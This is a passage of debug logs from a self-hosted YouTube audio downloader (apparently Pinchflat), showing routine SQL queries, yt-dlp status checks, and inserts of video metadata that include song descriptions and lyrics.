m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [194] 22:21:06.908 [debug] QUERY OK source="media_metadata" db=0.2ms queue=0.1ms idle=0.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [190] 22:21:06.908 [debug] QUERY OK source="media_items" db=0.8ms idle=0.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:21:06.908 [debug] Replied in 2ms 22:21:06.908 [debug] QUERY OK source="media_profiles" db=1.0ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:07.078 [debug] QUERY OK source="media_profiles" db=170.6ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:07.080 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=171.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:07.080 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=170.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:07.080 [debug] QUERY OK source="media_items" db=172.4ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Taken from the album 'Bad Contestant', available on vinyl https://matt-maltese.com\n\nListen to more from the album Bad Contestant here: https://www.youtube.com/playlist?list=OLAK5uy_mdHlQL-PBoKISfsyPH0UkCgRc83jrEtcA\n\nSubscribe to Matt's channel here:\nhttps://NettwerkMusic.lnk.to/MMYTsubscribe\n\nFollow Matt Maltese:\nInstagram: https://www.instagram.com/matthewmaltese\nTikTok: https://www.tiktok.com/@tonightmatthew\nTwitter: https://twitter.com/matthewmaltese\nFacebook: https://www.facebook.com/MattMaltesemusic\n\nLyrics:\nMy feet are aching\nAnd your back is pretty tired\nAnd we've drunk a couple bottles, babe\nAnd set our grief aside\nThe papers say it's doomsday\nThe button has been pressed\nWe're gonna nuke each other up boys\n'Til old satan stands impressed\n\nAnd here it is, our final night alive\nAnd as the earth runs to the ground\n\nOh, girl, it's you that I lie with\nAs the atom bomb locks in\nOh it's you I watch TV with\nAs the world, as the world caves in\n\nYou put your finest suit on\nI paint my fingernails\nOh we're going out in style babe\nAnd everything's on sale\nWe creep up on extinction\nI pull your arms right in\nI weep and say goodnight love\nWhile my organs pack it in\n \nAnd here it is, our final night alive\nAnd as the earth runs to the ground\n\nOh, girl, it's you that I lie with\nAs the atom bomb locks in\nOh it's you I watch TV with\nAs the world, as the world caves...\n\nOh it's you that I lie with\nAs the atom bomb locks in\nYes it's you I welcome death with\nAs the world, as the world caves in\n\nAs the world caves in\n\n#MattMaltese #AsTheWorldCavesIn #BadContestant", "Matt Maltese - As the World Caves In [Official Audio]", "13275168-3fae-4184-8a1d-93fe7a71c2a8", false, "yS2KyK3pqj4", 214, false, "https://www.youtube.com/watch?v=yS2KyK3pqj4", 24, "/downloads/Grift/Grift/2017-03-07Matt Maltese - As the World Caves In [Official Audio][yS2KyK3pqj4].m4a", false, false, 4, [], 1, ~U[2017-03-07 09:45:39Z], ~U[2026-07-24 02:21:06Z], ~U[2026-07-24 02:21:06Z], "Taken from the album 'Bad Contestant', available on vinyl https://matt-maltese.com\n\nListen to more from the album Bad Contestant here: https://www.youtube.com/playlist?list=OLAK5uy_mdHlQL-PBoKISfsyPH0UkCgRc83jrEtcA\n\nSubscribe to Matt's channel here:\nhttps://NettwerkMusic.lnk.to/MMYTsubscribe\n\nFollow Matt Maltese:\nInstagram: https://www.instagram.com/matthewmaltese\nTikTok: https://www.tiktok.com/@tonightmatthew\nTwitter: https://twitter.com/matthewmaltese\nFacebook: https://www.facebook.com/MattMaltesemusic\n\nLyrics:\nMy feet are aching\nAnd your back is pretty tired\nAnd we've drunk a couple bottles, babe\nAnd set our grief aside\nThe papers say it's doomsday\nThe button has been pressed\nWe're gonna nuke each other up boys\n'Til old satan stands impressed\n\nAnd here it is, our final night alive\nAnd as the earth runs to the ground\n\nOh, girl, it's you that I lie with\nAs the atom bomb locks in\nOh it's you I watch TV with\nAs the world, as the world caves in\n\nYou put your finest suit on\nI paint my fingernails\nOh we're going out in style babe\nAnd everything's on sale\nWe creep up on extinction\nI pull your arms right in\nI weep and say goodnight love\nWhile my organs pack it in\n \nAnd here it is, our final night alive\nAnd as the earth runs to the ground\n\nOh, girl, it's you that I lie with\nAs the atom bomb locks in\nOh it's you I watch TV with\nAs the world, as the world caves...\n\nOh it's you that I lie with\nAs the atom bomb locks in\nYes it's you I welcome death with\nAs the world, as the world caves in\n\nAs the world caves in\n\n#MattMaltese #AsTheWorldCavesIn #BadContestant", "Matt Maltese - As the World Caves In [Official Audio]", "yS2KyK3pqj4", 214, false, "https://www.youtube.com/watch?v=yS2KyK3pqj4", "/downloads/Grift/Grift/2017-03-07Matt Maltese - As the World Caves In [Official Audio][yS2KyK3pqj4].m4a", false, 4, ~U[2017-03-07 09:45:39Z]] 22:21:07.080 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 1} 22:21:07.080 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=171.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:07.081 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:07.081 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:07.081 [debug] QUERY OK source="sources" db=0.3ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:07.081 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:07.082 [debug] QUERY OK source="settings" db=0.4ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:07.082 [debug] QUERY OK source="settings" db=0.5ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:07.082 [debug] QUERY OK source="media_items" db=0.9ms idle=1.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [144] 22:21:07.082 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:21:07.082 [debug] Current batch of media processed. Will check again in 1000ms 22:21:07.082 [debug] QUERY OK source="settings" db=0.3ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:07.082 [debug] QUERY OK source="settings" db=0.3ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:07.083 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:07.083 [debug] QUERY OK source="settings" db=0.3ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:07.083 [debug] QUERY OK source="media_items" db=0.7ms idle=0.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:21:07.083 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vgldRamTEBI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/47/de/47de5e8bd30e194540e35c839fe79446dcde7b5e76764eac6bd5a80c5e8b6a7e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:07.083 [debug] Replied in 2ms 22:21:07.084 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vF9r6CoZgnQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/14/b4/14b4883f3c905decdfa5305e3e60338743d7c8b099cbe943916f92d8f3a1aba7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:08.084 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "New album Divisive out now: https://Disturbed.lnk.to/Divisive\n\n🔔 Subscribe to the channel: https://youtube.com/c/DisturbedTV/?sub_confirmation=1\n\nSee Disturbed live: https://Disturbed.lnk.to/tourdatesAY\n\nFollow Disturbed:\nOfficial Website - https://disturbed1.com\nFacebook - https://facebook.com/disturbed\nTwitter - https://twitter.com/disturbed\nInstagram - https://instagram.com/disturbed\nTikTok - https://www.tiktok.com/@disturbed\nSpotify - https://smarturl.it/disturbed.spotify\n\nLyrics:\nHello, darkness, my old friend\nI've come to talk with you again\nBecause a vision softly creeping\nLeft its seeds while I was sleeping\n\nAnd the vision that was planted in my brain\nStill remains\nWithin the sound of silence\n\nIn restless dreams I walked alone\nNarrow streets of cobblestone\n'Neath the halo of a street lamp\nI turned my collar to the cold and damp\n\nWhen my eyes were stabbed by the flash of a neon light\nThat split the night\nAnd touched the sound of silence\n\nAnd in the naked light I saw\nTen thousand people, maybe more\nPeople talking without speaking\nPeople hearing without listening\n\nPeople writing songs that voices never share\nAnd no one dare\nDisturb the sound of silence\n\n\"Fools,\" said I, \"\"You do not know\nSilence, like a cancer, grows\nHear my words that I might teach you\nTake my arms that I might reach you\"\"\n\nBut my words like silent raindrops fell\nAnd echoed in the wells of silence\n\nAnd the people bowed and prayed\nTo the neon god they made\nAnd the sign flashed out its warning\nIn the words that it was forming\n\nAnd the sign said\n\"The words of the prophets are written on the subway walls\nAnd tenement halls\nAnd whispered in the sound\nOf silence\"\n\n#OfficialMusicVideo #Disturbed #SoundOfSilence #WeAreWarnerRecords", "duration" => 262, "filename" => "/downloads/Grift/Grift/2015-12-08Disturbed - The Sound Of Silence (Official Music Video) [4K UPGRADE][u9Dg-g7t2l4].m4a", "id" => "u9Dg-g7t2l4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=u9Dg-g7t2l4", "playlist_index" => 25, "timestamp" => 1449588535, "title" => "Disturbed - The Sound Of Silence (Official Music Video) [4K UPGRADE]", "upload_date" => "20151208"} 22:21:08.084 [debug] QUERY OK source="sources" db=0.1ms idle=1001.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:08.118 [debug] QUERY OK source="sources" db=33.4ms idle=1001.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:08.118 [debug] QUERY OK source="media_items" db=0.3ms idle=1034.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-12-08 15:28:55Z], 4] 22:21:08.357 [debug] QUERY OK source="media_items" db=238.5ms idle=1035.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["New album Divisive out now: https://Disturbed.lnk.to/Divisive\n\n🔔 Subscribe to the channel: https://youtube.com/c/DisturbedTV/?sub_confirmation=1\n\nSee Disturbed live: https://Disturbed.lnk.to/tourdatesAY\n\nFollow Disturbed:\nOfficial Website - https://disturbed1.com\nFacebook - https://facebook.com/disturbed\nTwitter - https://twitter.com/disturbed\nInstagram - https://instagram.com/disturbed\nTikTok - https://www.tiktok.com/@disturbed\nSpotify - https://smarturl.it/disturbed.spotify\n\nLyrics:\nHello, darkness, my old friend\nI've come to talk with you again\nBecause a vision softly creeping\nLeft its seeds while I was sleeping\n\nAnd the vision that was planted in my brain\nStill remains\nWithin the sound of silence\n\nIn restless dreams I walked alone\nNarrow streets of cobblestone\n'Neath the halo of a street lamp\nI turned my collar to the cold and damp\n\nWhen my eyes were stabbed by the flash of a neon light\nThat split the night\nAnd touched the sound of silence\n\nAnd in the naked light I saw\nTen thousand people, maybe more\nPeople talking without speaking\nPeople hearing without listening\n\nPeople writing songs that voices never share\nAnd no one dare\nDisturb the sound of silence\n\n\"Fools,\" said I, \"\"You do not know\nSilence, like a cancer, grows\nHear my words that I might teach you\nTake my arms that I might reach you\"\"\n\nBut my words like silent raindrops fell\nAnd echoed in the wells of silence\n\nAnd the people bowed and prayed\nTo the neon god they made\nAnd the sign flashed out its warning\nIn the words that it was forming\n\nAnd the sign said\n\"The words of the prophets are written on the subway walls\nAnd tenement halls\nAnd whispered in the sound\nOf silence\"\n\n#OfficialMusicVideo #Disturbed #SoundOfSilence #WeAreWarnerRecords", "Disturbed - The Sound Of Silence (Official Music Video) [4K UPGRADE]", "5d9f0f55-aaca-4c43-a59b-8a99bcd160ad", false, "u9Dg-g7t2l4", 262, false, "https://www.youtube.com/watch?v=u9Dg-g7t2l4", 25, "/downloads/Grift/Grift/2015-12-08Disturbed - The Sound Of Silence (Official Music Video) [4K UPGRADE][u9Dg-g7t2l4].m4a", false, false, 4, [], 1, ~U[2015-12-08 15:28:55Z], ~U[2026-07-24 02:21:08Z], ~U[2026-07-24 02:21:08Z], "New album Divisive out now: https://Disturbed.lnk.to/Divisive\n\n🔔 Subscribe to the channel: https://youtube.com/c/DisturbedTV/?sub_confirmation=1\n\nSee Disturbed live: https://Disturbed.lnk.to/tourdatesAY\n\nFollow Disturbed:\nOfficial Website - https://disturbed1.com\nFacebook - https://facebook.com/disturbed\nTwitter - https://twitter.com/disturbed\nInstagram - https://instagram.com/disturbed\nTikTok - https://www.tiktok.com/@disturbed\nSpotify - https://smarturl.it/disturbed.spotify\n\nLyrics:\nHello, darkness, my old friend\nI've come to talk with you again\nBecause a vision softly creeping\nLeft its seeds while I was sleeping\n\nAnd the vision that was planted in my brain\nStill remains\nWithin the sound of silence\n\nIn restless dreams I walked alone\nNarrow streets of cobblestone\n'Neath the halo of a street lamp\nI turned my collar to the cold and damp\n\nWhen my eyes were stabbed by the flash of a neon light\nThat split the night\nAnd touched the sound of silence\n\nAnd in the naked light I saw\nTen thousand people, maybe more\nPeople talking without speaking\nPeople hearing without listening\n\nPeople writing songs that voices never share\nAnd no one dare\nDisturb the sound of silence\n\n\"Fools,\" said I, \"\"You do not know\nSilence, like a cancer, grows\nHear my words that I might teach you\nTake my arms that I might reach you\"\"\n\nBut my words like silent raindrops fell\nAnd echoed in the wells of silence\n\nAnd the people bowed and prayed\nTo the neon god they made\nAnd the sign flashed out its warning\nIn the words that it was forming\n\nAnd the sign said\n\"The words of the prophets are written on the subway walls\nAnd tenement halls\nAnd whispered in the sound\nOf silence\"\n\n#OfficialMusicVideo #Disturbed #SoundOfSilence #WeAreWarnerRecords", "Disturbed - The Sound Of Silence (Official Music Video) [4K UPGRADE]", "u9Dg-g7t2l4", 262, false, "https://www.youtube.com/watch?v=u9Dg-g7t2l4", "/downloads/Grift/Grift/2015-12-08Disturbed - The Sound Of Silence (Official Music Video) [4K UPGRADE][u9Dg-g7t2l4].m4a", false, 4, ~U[2015-12-08 15:28:55Z]] 22:21:08.418 [debug] QUERY OK source="sources" db=60.2ms idle=428.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:08.419 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=334.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:08.420 [debug] QUERY OK source="media_items" db=0.9ms idle=301.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [145] 22:21:08.421 [debug] Current batch of media processed. Will check again in 1000ms 22:21:09.422 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "A mix of Fallen Angel, The Death of God's Will, and Silence, Introspection; similar to something I've done in the past.\n\nI DO NOT OWN ANYTHING IN THIS VIDEO\nAll music was made by Heaven Pierce Her, go buy the album at https://heavenpierceher.bandcamp.com/album/ultrakill-imperfect-hatred\nBuy ULTRAKILL at devilmayquake.com", "duration" => 536, "filename" => "/downloads/Grift/Grift/2022-09-03The Death Of God's Will (Full Mix + Voice Lines)[AnLuKx_c7Ds].m4a", "id" => "AnLuKx_c7Ds", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=AnLuKx_c7Ds", "playlist_index" => 26, "timestamp" => 1662220514, "title" => "The Death Of God's Will (Full Mix + Voice Lines)", "upload_date" => "20220903"} 22:21:09.423 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1065.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:09.424 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1005.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 